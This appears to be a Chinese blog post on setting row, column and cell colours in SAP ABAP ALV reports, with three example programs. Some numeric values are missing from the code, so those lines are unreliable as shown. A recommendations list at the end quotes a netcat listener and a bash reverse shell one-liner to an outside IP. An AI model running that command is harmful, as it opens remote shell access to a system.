ALV报表——ALV颜色设置(三)
目录
一、行:用Layout相关属性设置
代码:
*Report ZRFI001_XFL_TEST
REPORT ZRFI001_XFL_TEST . *定义ALV所需要用到的类型池
TYPE-POOLS SLIS. *****************************TABLES
TABLES:MARD. *****************************Data Definitions
*定义ALV所要显示的数据对应的内表数据类型及内表数据对象
DATA: BEGIN OF GT_MARD OCCURS , "一般物料資料
MATNR LIKE MARD-MATNR , "物料號碼
WERKS LIKE MARD-WERKS, "工厂
LABST LIKE MARD-LABST, "未限制使用的已估價庫存
END OF GT_MARD.
DATA: BEGIN OF GT_MARD2 OCCURS , "一般物料資料
LINECOLOR() TYPE C, "行颜色
MATNR LIKE MARD-MATNR , "物料號碼
WERKS LIKE MARD-WERKS, "工厂
LABST LIKE MARD-LABST, "未限制使用的已估價庫存
END OF GT_MARD2. *定义一些显示ALV时所需要使用的变量
DATA: GS_LAYOUT TYPE SLIS_LAYOUT_ALV,
GT_FIELDCAT TYPE SLIS_T_FIELDCAT_ALV WITH HEADER LINE.
"定义FIELDCAT *****************************Selection Screen
*定义选择屏幕
SELECT-OPTIONS: S_MATNR FOR MARD-MATNR. *****************************Main Process
*声明各个选择屏幕事件块
START-OF-SELECTION. PERFORM GET_DATA.
PERFORM CATA_LOG.
PERFORM ALV_SHOW. END-OF-SELECTION. *&---------------------------------------------------------------------*
*& Form GET_DATA
*&---------------------------------------------------------------------*
FORM GET_DATA . SELECT MATNR WERKS LABST INTO TABLE GT_MARD
FROM MARD
WHERE MATNR IN S_MATNR. SORT GT_MARD BY MATNR ASCENDING. LOOP AT GT_MARD.
IF GT_MARD-LABST > .
GT_MARD2-LINECOLOR = 'C310'. "设置行颜色的值
ELSE.
GT_MARD2-LINECOLOR = ''.
ENDIF.
GT_MARD2-MATNR = GT_MARD-MATNR.
GT_MARD2-WERKS = GT_MARD-WERKS.
GT_MARD2-LABST = GT_MARD-LABST.
APPEND GT_MARD2.
GS_LAYOUT-INFO_FIELDNAME = 'LINECOLOR'. "指定数据输出内表中哪列存储的是颜色
CLEAR GT_MARD2.
ENDLOOP. ENDFORM. " GET_DATA *&---------------------------------------------------------------------*
*& Form CATA_LOG
*&---------------------------------------------------------------------*
FORM CATA_LOG . DEFINE FILEDCAT.
GT_FIELDCAT-FIELDNAME = &. "对应内表的字段名
GT_FIELDCAT-SELTEXT_L = &. "输出列文本
GT_FIELDCAT-OUTPUTLEN = &. "输出列长度
APPEND GT_FIELDCAT.
END-OF-DEFINITION. FILEDCAT 'MATNR' '物料编号' .
FILEDCAT 'WERKS' '工厂' .
FILEDCAT 'LABST' '库存' . ENDFORM. " CATA_LOG *&---------------------------------------------------------------------*
*& Form ALV_SHOW
*&---------------------------------------------------------------------*
FORM ALV_SHOW.
* 显示ALV的函数
CALL FUNCTION 'REUSE_ALV_GRID_DISPLAY'
EXPORTING
I_CALLBACK_PROGRAM = SY-REPID
IS_LAYOUT = GS_LAYOUT
IT_FIELDCAT = GT_FIELDCAT[]
I_SAVE = 'A' "保存全局,特定變式
TABLES
T_OUTTAB = GT_MARD2
EXCEPTIONS
PROGRAM_ERROR =
OTHERS = . ENDFORM. " ALV_SHOW
运行效果:
二、列:用FILEDCAT相关属性设置
代码:
*Report ZRFI001_XFL_TEST
REPORT ZRFI001_XFL_TEST . *定义ALV所需要用到的类型池
TYPE-POOLS SLIS. *****************************TABLES
TABLES:MARD. *****************************Data Definitions
*定义ALV所要显示的数据对应的内表数据类型及内表数据对象
DATA: BEGIN OF GT_MARD OCCURS , "一般物料資料
MATNR LIKE MARD-MATNR , "物料號碼
WERKS LIKE MARD-WERKS, "工厂
LABST LIKE MARD-LABST, "未限制使用的已估價庫存
END OF GT_MARD. *定义一些显示ALV时所需要使用的变量
DATA: GT_FIELDCAT TYPE SLIS_T_FIELDCAT_ALV WITH HEADER LINE.
"定义FIELDCAT *****************************Selection Screen
*定义选择屏幕
SELECT-OPTIONS: S_MATNR FOR MARD-MATNR. *****************************Main Process
*声明各个选择屏幕事件块
START-OF-SELECTION. PERFORM GET_DATA.
PERFORM CATA_LOG.
PERFORM ALV_SHOW. END-OF-SELECTION. *&---------------------------------------------------------------------*
*& Form GET_DATA
*&---------------------------------------------------------------------*
FORM GET_DATA . SELECT MATNR WERKS LABST INTO TABLE GT_MARD
FROM MARD
WHERE MATNR IN S_MATNR. ENDFORM. " GET_DATA *&---------------------------------------------------------------------*
*& Form CATA_LOG
*&---------------------------------------------------------------------*
FORM CATA_LOG . DEFINE FILEDCAT.
GT_FIELDCAT-FIELDNAME = &. "对应内表的字段名
GT_FIELDCAT-SELTEXT_L = &. "输出列文本
GT_FIELDCAT-EMPHASIZE = &. "栏位的颜色
APPEND GT_FIELDCAT.
END-OF-DEFINITION. FILEDCAT 'MATNR' '物料编号' 'C310'.
FILEDCAT 'WERKS' '工厂' ''.
FILEDCAT 'LABST' '库存' ''. ENDFORM. " CATA_LOG *&---------------------------------------------------------------------*
*& Form ALV_SHOW
*&---------------------------------------------------------------------*
FORM ALV_SHOW.
* 显示ALV的函数
CALL FUNCTION 'REUSE_ALV_GRID_DISPLAY'
EXPORTING
I_CALLBACK_PROGRAM = SY-REPID
IT_FIELDCAT = GT_FIELDCAT[]
I_SAVE = 'A' "保存全局,特定變式
TABLES
T_OUTTAB = GT_MARD
EXCEPTIONS
PROGRAM_ERROR =
OTHERS = . ENDFORM. " ALV_SHOW
运行效果:
三、单元格
*&---------------------------------------------------------------------*
*& REPORT ZMMTEST.
*&---------------------------------------------------------------------*
*&
*&---------------------------------------------------------------------*
REPORT ZMMTEST. TABLES: MSEG,MKPF,T156T,MAKT,T001W,MARC,MARD. DATA: BEGIN OF GT_MSEG OCCURS 0,
WERKS LIKE MSEG-WERKS,
BWART LIKE MSEG-BWART,
SHKZG LIKE MSEG-SHKZG,
BTEXT LIKE T156T-BTEXT,
AUFNR LIKE MSEG-AUFNR,
MATNR LIKE MSEG-MATNR,
MAKTX LIKE MAKT-MAKTX,
ERFMG LIKE MSEG-ERFMG,
ERFME LIKE MSEG-ERFME,
LGORT LIKE MSEG-LGORT,
LGPBE LIKE MARD-LGPBE,
BUDAT_MKPF LIKE MSEG-BUDAT_MKPF,
SOBKZ LIKE MSEG-SOBKZ,
MJAHR LIKE MSEG-MJAHR,
MBLNR LIKE MSEG-MBLNR,
ZEILE LIKE MSEG-ZEILE,
KOSTL LIKE MSEG-KOSTL,
SGTXT LIKE MSEG-SGTXT,
EBELN LIKE MSEG-EBELN,
EBELP LIKE MSEG-EBELP,
LIFNR LIKE MSEG-LIFNR,
SORTL LIKE LFA1-SORTL,
BLDAT LIKE MKPF-BLDAT,
BKTXT LIKE MKPF-BKTXT,
BPMNG LIKE MSEG-BPMNG,
BSTMG LIKE MSEG-BSTMG,
BPRME LIKE MSEG-BPRME,
CPUDT_MKPF LIKE MSEG-CPUDT_MKPF,
CPUTM_MKPF LIKE MSEG-CPUTM_MKPF,
XBLNR_MKPF LIKE MSEG-XBLNR_MKPF,
USNAM_MKPF LIKE MSEG-USNAM_MKPF,
ZSTATUS LIKE ZMMT012-ZSTATUS,
ZUSER LIKE ZMMT012-ZUSER,
ZDATE LIKE ZMMT012-ZDATE,
ZTIME LIKE ZMMT012-ZTIME,
CELLCOLOR TYPE LVC_T_SCOL, "单元格颜色
END OF GT_MSEG. DATA: IW_CELLCOLOR TYPE LVC_S_SCOL. *-->ALV
TYPE-POOLS SLIS.
DATA: GS_LAYOUT TYPE SLIS_LAYOUT_ALV,
GT_FIELDCAT TYPE SLIS_T_FIELDCAT_ALV,
WA_FIELDCAT TYPE SLIS_FIELDCAT_ALV. SELECTION-SCREEN BEGIN OF BLOCK B1 WITH FRAME TITLE TEXT-B01.
SELECT-OPTIONS: S_MATNR FOR MSEG-MATNR,
S_MBLNR FOR MSEG-MBLNR,
S_WERKS FOR MSEG-WERKS,
S_LGORT FOR MSEG-LGORT,
S_CHARG FOR MSEG-CHARG,
S_LIFNR FOR MSEG-LIFNR,
S_KUNNR FOR MSEG-KUNNR,
S_BWART FOR MSEG-BWART,
S_SOBKZ FOR MSEG-SOBKZ,
S_AUFNR FOR MSEG-AUFNR,
S_KDAUF FOR MSEG-MAT_KDAUF,
S_KDPOS FOR MSEG-MAT_KDPOS.
SELECTION-SCREEN END OF BLOCK B1. SELECTION-SCREEN BEGIN OF BLOCK B2 WITH FRAME TITLE TEXT-B02.
SELECT-OPTIONS: S_BUDAT FOR MSEG-BUDAT_MKPF,
S_USNAM FOR MSEG-USNAM_MKPF,
S_VGART FOR MKPF-VGART,
S_XBLNR FOR MSEG-XBLNR_MKPF.
SELECTION-SCREEN END OF BLOCK B2. START-OF-SELECTION.
PERFORM: GET_DATA.
PERFORM: ALV_SHOW.
END-OF-SELECTION. FORM GET_DATA.
GS_LAYOUT-COLWIDTH_OPTIMIZE = 'X'.
GS_LAYOUT-COLTAB_FIELDNAME = 'CELLCOLOR'. "单元格颜色内表字段
DATA: L_INDEX LIKE SY-TABIX. SELECT MSEG~WERKS MSEG~BWART MSEG~SHKZG MSEG~AUFNR MSEG~MATNR
MSEG~ERFMG MSEG~ERFME MSEG~LGORT
MSEG~BUDAT_MKPF MSEG~SOBKZ MSEG~MJAHR MSEG~MBLNR
MSEG~ZEILE MSEG~KOSTL MSEG~SGTXT
MSEG~EBELN MSEG~EBELP MSEG~LIFNR MKPF~BLDAT MKPF~BKTXT
MSEG~BPMNG MSEG~BSTMG MSEG~BPRME
MSEG~CPUDT_MKPF MSEG~CPUTM_MKPF MSEG~XBLNR_MKPF
MSEG~USNAM_MKPF
ZMMT012~ZSTATUS ZMMT012~ZUSER ZMMT012~ZDATE
ZMMT012~ZTIME LFA1~SORTL
INTO CORRESPONDING FIELDS OF TABLE GT_MSEG
FROM MSEG
LEFT JOIN MKPF ON MKPF~MJAHR = MSEG~MJAHR
AND MKPF~MBLNR = MSEG~MBLNR
LEFT JOIN ZMMT012 ON ZMMT012~MJAHR = MSEG~MJAHR
AND ZMMT012~MBLNR = MSEG~MBLNR
AND ZMMT012~ZEILE = MSEG~ZEILE
LEFT JOIN LFA1 ON LFA1~LIFNR = MSEG~LIFNR
WHERE MATNR IN S_MATNR
AND MSEG~MBLNR IN S_MBLNR
AND MSEG~WERKS IN S_WERKS
AND LGORT IN S_LGORT
AND CHARG IN S_CHARG
AND MSEG~LIFNR IN S_LIFNR
AND MSEG~KUNNR IN S_KUNNR
AND BWART IN S_BWART
AND SOBKZ IN S_SOBKZ
AND AUFNR IN S_AUFNR
AND MAT_KDAUF IN S_KDAUF
AND MAT_KDPOS IN S_KDPOS
AND BUDAT_MKPF IN S_BUDAT
AND USNAM_MKPF IN S_USNAM
AND VGART_MKPF IN S_VGART
AND XBLNR_MKPF IN S_XBLNR. SORT GT_MSEG BY MJAHR MBLNR ZEILE ASCENDING.
LOOP AT GT_MSEG.
L_INDEX = SY-TABIX. *-->异动类型名称
SELECT SINGLE BTEXT INTO GT_MSEG-BTEXT
FROM T156T
WHERE BWART = GT_MSEG-BWART
AND SPRAS = SY-LANGU. *-->物料说明
SELECT SINGLE MAKTX INTO GT_MSEG-MAKTX
FROM MAKT
WHERE MATNR = GT_MSEG-MATNR
AND SPRAS = SY-LANGU.
*-->仓库 IF GT_MSEG-LGORT = SPACE. IF GT_MSEG-AUFNR <> SPACE.
SELECT SINGLE LGPRO INTO GT_MSEG-LGORT
FROM MARC
WHERE WERKS = GT_MSEG-WERKS
AND MATNR = GT_MSEG-MATNR.
ELSE.
SELECT SINGLE LGFSB INTO GT_MSEG-LGORT
FROM MARC
WHERE WERKS = GT_MSEG-WERKS
AND MATNR = GT_MSEG-MATNR.
ENDIF.
ENDIF.
*-->储位
SELECT SINGLE LGPBE INTO GT_MSEG-LGPBE
FROM MARD
WHERE WERKS = GT_MSEG-WERKS
AND MATNR = GT_MSEG-MATNR
AND LGORT = GT_MSEG-LGORT. CASE GT_MSEG-SHKZG.
"根据借贷项类别设定颜色
WHEN 'H'.
GT_MSEG-ERFMG = GT_MSEG-ERFMG * -1.
GT_MSEG-BPMNG = GT_MSEG-BPMNG * -1.
DEFINE SET_COLOR.
IW_CELLCOLOR-FNAME = &1.
IW_CELLCOLOR-COLOR-COL = 6.
IW_CELLCOLOR-COLOR-INT = 1.
IW_CELLCOLOR-COLOR-INV = 0.
APPEND IW_CELLCOLOR TO GT_MSEG-CELLCOLOR.
END-OF-DEFINITION.
SET_COLOR 'ERFMG'.
SET_COLOR 'BPMNG'.
SET_COLOR 'BSTMG'.
WHEN 'S'.
DEFINE SET_COLOR.
IW_CELLCOLOR-FNAME = &1.
IW_CELLCOLOR-COLOR-COL = 5.
IW_CELLCOLOR-COLOR-INT = 1.
IW_CELLCOLOR-COLOR-INV = 0.
APPEND IW_CELLCOLOR TO GT_MSEG-CELLCOLOR.
END-OF-DEFINITION.
SET_COLOR 'ERFMG'.
SET_COLOR 'BPMNG'.
SET_COLOR 'BSTMG'.
ENDCASE.
MODIFY GT_MSEG INDEX L_INDEX. ENDLOOP.
ENDFORM. FORM ALV_SHOW .
DATA: L_REPID TYPE SY-REPID,
L_INCLNAME TYPE TRDIR-NAME,
L_IDX LIKE SY-TABIX.
CLEAR: GT_FIELDCAT[],WA_FIELDCAT.
L_REPID = L_INCLNAME = SY-CPROG.
GS_LAYOUT-COLWIDTH_OPTIMIZE = 'X'.
CALL FUNCTION 'REUSE_ALV_FIELDCATALOG_MERGE'
EXPORTING
I_PROGRAM_NAME = L_REPID
I_INTERNAL_TABNAME = 'GT_MSEG'
I_INCLNAME = L_INCLNAME
CHANGING
CT_FIELDCAT = GT_FIELDCAT
EXCEPTIONS
INCONSISTENT_INTERFACE = 1
PROGRAM_ERROR = 2
OTHERS = 3.
LOOP AT GT_FIELDCAT INTO WA_FIELDCAT.
L_IDX = SY-TABIX.
CASE WA_FIELDCAT-FIELDNAME.
WHEN 'SORTL'.
WA_FIELDCAT-SELTEXT_S = WA_FIELDCAT-SELTEXT_M =
WA_FIELDCAT-SELTEXT_L = '供应商名称'.
WA_FIELDCAT-DDICTXT = 'S'.
WHEN 'ZSTATUS'.
WA_FIELDCAT-SELTEXT_S = WA_FIELDCAT-SELTEXT_M =
WA_FIELDCAT-SELTEXT_L = '过账状态'.
WA_FIELDCAT-DDICTXT = 'S'.
WHEN 'ZUSER'.
WA_FIELDCAT-SELTEXT_S = WA_FIELDCAT-SELTEXT_M =
WA_FIELDCAT-SELTEXT_L = '过账用户'.
WA_FIELDCAT-DDICTXT = 'S'.
WHEN 'ZDATE'.
WA_FIELDCAT-SELTEXT_S = WA_FIELDCAT-SELTEXT_M =
WA_FIELDCAT-SELTEXT_L = '过账日期'.
WA_FIELDCAT-DDICTXT = 'S'.
WHEN 'ZTIME'.
WA_FIELDCAT-SELTEXT_S = WA_FIELDCAT-SELTEXT_M =
WA_FIELDCAT-SELTEXT_L = '过账时间'.
WA_FIELDCAT-DDICTXT = 'S'.
ENDCASE.
CLEAR WA_FIELDCAT-KEY.
MODIFY GT_FIELDCAT FROM WA_FIELDCAT INDEX L_IDX.
ENDLOOP.
CALL FUNCTION 'REUSE_ALV_GRID_DISPLAY'
EXPORTING
I_CALLBACK_PROGRAM = SY-REPID
IS_LAYOUT = GS_LAYOUT
IT_FIELDCAT = GT_FIELDCAT[]
* I_CALLBACK_PF_STATUS_SET = 'ALV_PF_STATUS' " 触发事件调用子程序
* I_CALLBACK_USER_COMMAND = 'ALV_USER_COMMAND' " 鼠标事件操作子程序
I_SAVE = 'A'
TABLES
T_OUTTAB = GT_MSEG
EXCEPTIONS
PROGRAM_ERROR = 1
OTHERS = 2. ENDFORM. " ALV_SHOW
运行效果:
四:附ALV的颜色代码
ALV报表——ALV颜色设置(三)的更多相关文章
- ALV行 列颜色设置
ALV的颜色设置分为3种:行.列.单元格. 1.列颜色的设置 在 slis_t_fieldcat_alv-emphasize 中,写入需要的颜色代码. Eg: DATA: fc TYP ...
- 函数alv下的颜色设置
ABAP中的颜色代码是由4位字都组成的 cxyz c:color的简写,颜色代码均以C开头 x:标准色代码,SAP中一共有7个标准色 y:反转颜色启用/关闭 1/0 z:增强颜色启用/关闭 ...
- ALV列、行、单元格颜色设置
)颜色含义 :海蓝:2:浅清:3:黄色:4:浅蓝:5:青色:6:红色:7:橙色. (1)首位为主颜色: (2)次位为辅助颜色: (3)末位为0时,表示首位数字表为表格的底色: 末位为1时,则表示以1为 ...
- ABAP ALV 颜色设置(行,列,单元格)
BCALV_EDIT_03 http://blog.sina.com.cn/s/blog_a87b19300102who3.html 关于ALV表格颜色,这种需求在项目中会经常用到. 列颜色 列的颜色 ...
- ALV 颜色设置(行,列,单元格)
[转自:https://www.cnblogs.com/mingdashu/p/color_alv.html] BCALV_EDIT_03 http://blog.sina.com.cn/s/blog ...
- SAP ABAP ALV 颜色设置(两个ALV函数例子) 列 行 单元格
@[TOC](设置ALV颜色)# 前言淦! 要求花花绿绿的ALV ,那就淦他! 需要的参数和对应颜色放在最后.稍微改改就能用. 介绍两个常用的ALV函数实现1.REUSE_ALV_GRID_DISPL ...
- ALV报表——点击事件(二)
目录 一.ALV点击事件(双击) 一.ALV点击事件(双击) 代码: *Report ZRFI001_XFL_TEST REPORT ZRFI001_XFL_TEST . *定义ALV所需要用到的类型 ...
- Win7下如何设置护眼的电脑豆沙绿界面?保护眼睛的颜色设置教程
关爱心灵的窗户——眼睛! 随着科技发展,使用电脑的人越来越多,由于使用电脑时间过长,我们的眼睛也越发容易疲劳,干燥.如何才能使电脑对人眼的伤害减小到最 小. 小编建议大家可以把窗口背景色设置成护眼色. ...
- VC 对话框背景颜色、控件颜色(三种方法)
系统环境:Windows 7软件环境:Visual C++ 2008 SP1本次目的:为对话框设置背景颜色.控件颜色 既然MFC对话框不好开发,那么现在我们来开始美化我们的对话框.为对话框设置背景颜色 ...
随机推荐
- C字符贪吃蛇
算法参照Perl字符贪吃蛇,源码: #include <stdio.h> #include <windows.h> #define WIDTH 12 // 宽 #define ...
- appium 多线程还是多进程(转)
https://www.cnblogs.com/zouzou-busy/p/11440175.html 在前面我们都是使用一个机器进行测试,在做app自动化的时候,我们要测不同的机型,也就是兼容性测试 ...
- Ubuntu -- 反射shell nc
攻击机: apt-get install netcat nc -lvvp 80 受害机: /bin/bash -i >& /dev/tcp/139.xxx.18.xx/80 0>& ...
- CheatEngine查看PE header
先打开进程,炉石传说. 然后选择MemoryViewer 在MemoryViewer界面,Tools菜单,然后选择Dissect PE headers 然后查看mono.dll的信息 0x357A0是 ...
- strace命令 一
简介 strace常用来跟踪进程执行时的系统调用和所接收的信号. 在Linux世界,进程不能直接访问硬件设备,当进程需要访问硬件设备(比如读取磁盘文件,接收网络数据等等)时,必须由用户态模式切换至内核 ...
- MySQL 正则(Regular Expression) 邮箱(Email)
MySQL 正则表达式 | 菜鸟教程https://www.runoob.com/mysql/mysql-regexp.html (1条消息)常用正则表达式—邮箱(Email) - Samuel - ...
- 解决Wireshark安装Npcap组件失败
解决Wireshark安装Npcap组件失败 从Wireshark 3.0开始,Npcap取代Winpcap组件,成为Wireshark默认的网卡核心驱动.由于该组件属于驱动程序,所以安装时候容易 ...
- Java基础 do-while 简单示例
JDK :OpenJDK-11 OS :CentOS 7.6.1810 IDE :Eclipse 2019‑03 typesetting :Markdown code ...
- nginx的代理配置
date: 2019-07-19 16:52:18 author: headsen chen proxy_pass http://aaa /; 如果在proxy_pass末尾的url加/,表示绝对 ...
- flutter chip标签组件
//一个Material widget. 它可以将一个复杂内容实体展现在一个小块中,如联系人.import 'package:flutter/material.dart'; class ChipDem ...